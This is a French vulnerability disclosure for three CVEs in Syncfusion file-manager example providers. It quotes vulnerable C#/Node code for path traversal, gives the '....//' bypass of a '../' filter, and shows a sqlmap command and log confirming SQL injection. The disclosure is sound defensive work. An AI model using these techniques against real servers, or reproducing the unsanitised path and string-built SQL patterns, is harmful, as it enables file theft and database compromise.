
Divulgation technique de trois CVEs (2023-26563-26565) détaillant des vulnérabilités de type local file read, directory traversal et SQL injection dans les fournisseurs Syncfusion file manager avec un code d'exploit proof-of-concept.
Le fournisseur aurait corrigé toutes les vulnérabilités détaillées dans les versions publiées après 2024. Ruptura InfoSecurity n'a pas vérifié que ces correctifs sont complets.
Voir les commentaires du fournisseur dans https://github.com/RupturaInfoSec/CVE-2023-26563-26564-26565/issues/1.
Dépôt affecté : https://github.com/SyncfusionExamples/ej2-aspcore-file-provider/ Versions vulnérables avant le commit Git 7c8791084ff86d4a2c225756c490591f6e011a6c
L'application ne vérifie aucun des chemins fournis par l'utilisateur. Par conséquent, il est possible de spécifier des séquences de traversée de répertoire (« ../ ») pour lister les fichiers dans n'importe quel répertoire, lire n'importe quel fichier local, télécharger n'importe quel fichier n'importe où sur le serveur et supprimer n'importe quel fichier sur le serveur.
Dans le dépôt ASP Core, la plupart des fonctionnalités réelles sont implémentées dans Models/PhysicalFileProvider.cs.
Dans le cas du téléchargement, le paramètre names est directement tiré de l'entrée utilisateur dans la requête.
public virtual void Download(string path, string[] names, params FileManagerDirectoryContent[] data)
{
try
{
string physicalPath = GetPath(path);
String extension;
int count = 0;
...
if (names.Length > 1)
DownloadZip(path, names);
if (count == names.Length)
{
DownloadFile(path, names);
}
Ce chemin est ensuite directement utilisé dans la fonction Path.combine.
protected virtual void DownloadFile(string path, string[] names = null)
{
if (!string.IsNullOrEmpty(path))
{
try
{
path = (Path.Combine(contentRootPath + path, names[0]));
HttpResponse response = HttpContext.Current.Response;
response.Buffer = true;
response.Clear();
response.ContentType = "APPLICATION/octet-stream";
string extension = System.IO.Path.GetExtension(path);
response.AddHeader("content-disposition", string.Format("attachment; filename = \"{0}\"", System.IO.Path.GetFileName(path)));
response.WriteFile(path);
response.Flush();
response.End();
}
catch (Exception ex) { throw ex; }
}
else throw new ArgumentNullException("name should not be null");
}
Dans la plupart des points de terminaison, ils ont tenté de corriger cela en supprimant ../ mais cela peut être contourné trivialement en utilisant quelque chose comme ....//, qui après .replace("../", ""), donnera le ../ d'origine.
Dépôt affecté : https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem Versions vulnérables avant le commit Git 65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6
Bien que l'application contienne une regex pour bloquer les séquences de traversée de répertoire, elle ne le fait que parfois. Par conséquent :
Dans le dépôt Node, toutes les fonctionnalités sont proposées dans un seul fichier : https://github.com/SyncfusionExamples/ej2-filemanager-node-filesystem/blob/65bc929e34aa34a3a9db0dc1cc9cba03e19ba9e6/filesystem-server.js
Pour le téléchargement de fichiers, la cause première est assez explicite, l'application faisant confiance à l'entrée de l'utilisateur lors de la concaténation des chemins de fichiers :
/**
* Download a file or folder
*/
app.post('/Download', function (req, res) {
replaceRequestParams(req, res);
var downloadObj = JSON.parse(req.body.downloadInput);
var permission; var permissionDenied = false;
downloadObj.data.forEach(function (item) {
var filepath = (contentRootPath + item.filterPath).replace(/\\/g, "/");
permission = getPermission(filepath + item.name, item.name, item.isFile, contentRootPath, item.filterPath);
if (permission != null && (!permission.read || !permission.download)) {
permissionDenied = true;
var errorMsg = new Error();
errorMsg.message = (permission.message !== "") ? permission.message : getFileName(contentRootPath + item.filterPath + item.name) + " is not accessible. You need permission to perform the download action.";
errorMsg.code = "401";
response = { error: errorMsg };
response = JSON.stringify(response);
res.setHeader('Content-Type', 'application/json');
res.json(response);
}
});
if (!permissionDenied) {
if (downloadObj.names.length === 1 && downloadObj.data[0].isFile) {
var file = contentRootPath + downloadObj.path + downloadObj.names[0];
res.download(file);
} else {
var archive = archiver('zip', {
gzip: true,
zlib: { level: 9 } // Sets the compression level.
});
var output = fs.createWriteStream('./Files.zip');
downloadObj.data.forEach(function (item) {
archive.on('error', function (err) {
throw err;
});
if (item.isFile) {
archive.file(contentRootPath + item.filterPath + item.name, { name: item.name });
}
else {
archive.directory(contentRootPath + item.filterPath + item.name + "/", item.name);
}
});
Dépôt affecté : https://github.com/SyncfusionExamples/sql-server-database-aspcore-file-provider Versions vulnérables avant le commit Git d671e09d0cfddb8e3c87f172d8a9ca4caf5980a6
Dans le dépôt SQL Server, la plupart des fonctionnalités réelles sont implémentées dans Models/SQLFileProvider.cs.
L'injection SQL est assez standard et fréquente dans le dépôt affecté et peut être exploitée avec une simple commande sqlmap :
sqlmap -u 'http://localhost:9999/api/SQLProvider/SQLGetImage?path=1/&id=9225&time=1680527844871'
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 14:31:52 /2023-04-03/
[14:31:52] [INFO] testing connection to the target URL
[14:31:52] [INFO] testing if the target URL content is stable
[14:31:53] [INFO] target URL content is stable
[14:31:53] [INFO] testing if GET parameter 'path' is dynamic
[14:31:53] [WARNING] GET parameter 'path' does not appear to be dynamic
[14:31:54] [WARNING] heuristic (basic) test shows that GET parameter 'path' might not be injectable
[14:31:55] [INFO] testing for SQL injection on GET parameter 'path'
[14:31:55] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[14:31:57] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[14:31:57] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[14:31:57] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause (IN)'
[14:31:58] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLType)'
[14:31:58] [INFO] testing 'MySQL >= 5.0 error-based - Parameter replace (FLOOR)'
[14:31:58] [INFO] testing 'Generic inline queries'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[14:31:58] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries (comment)'
[14:31:58] [INFO] testing 'Oracle stacked queries (DBMS_PIPE.RECEIVE_MESSAGE - comment)'
[14:31:58] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[14:31:58] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[14:31:59] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind (IF)'
[14:31:59] [INFO] testing 'Oracle AND time-based blind'
it is recommended to perform only basic UNION tests if there is not at least one other (potential) technique found. Do you want to reduce the number of requests? [Y/n]
[14:32:00] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[14:32:00] [WARNING] GET parameter 'path' does not seem to be injectable
[14:32:00] [INFO] testing if GET parameter 'id' is dynamic
[14:32:00] [WARNING] GET parameter 'id' does not appear to be dynamic
[14:32:00] [WARNING] heuristic (basic) test shows that GET parameter 'id' might not be injectable
[14:32:01] [INFO] testing for SQL injection on GET parameter 'id'
[14:32:01] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:32:01] [INFO] GET parameter 'id' appears to be 'AND boolean-based blind - WHERE or HAVING clause' injectable (with --code=200)
Exemples d'extraits de code vulnérables :
try
{
SqlDataReader reader = (new SqlCommand(("select ItemID from " + this.tableName + " where ParentID='" + rootId + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { isRoot = reader["ItemID"].ToString(); }
}
try
{
SqlDataReader reader = (new SqlCommand(("select ParentID from " + this.tableName + " where ItemID='" + data[0].Id + "'"), sqlConnection)).ExecuteReader();
while (reader.Read()) { parentID = reader["ParentID"].ToString(); }
}
L'injection SQL permet un accès complet en lecture à la base de données, selon la configuration des permissions pour le compte utilisateur.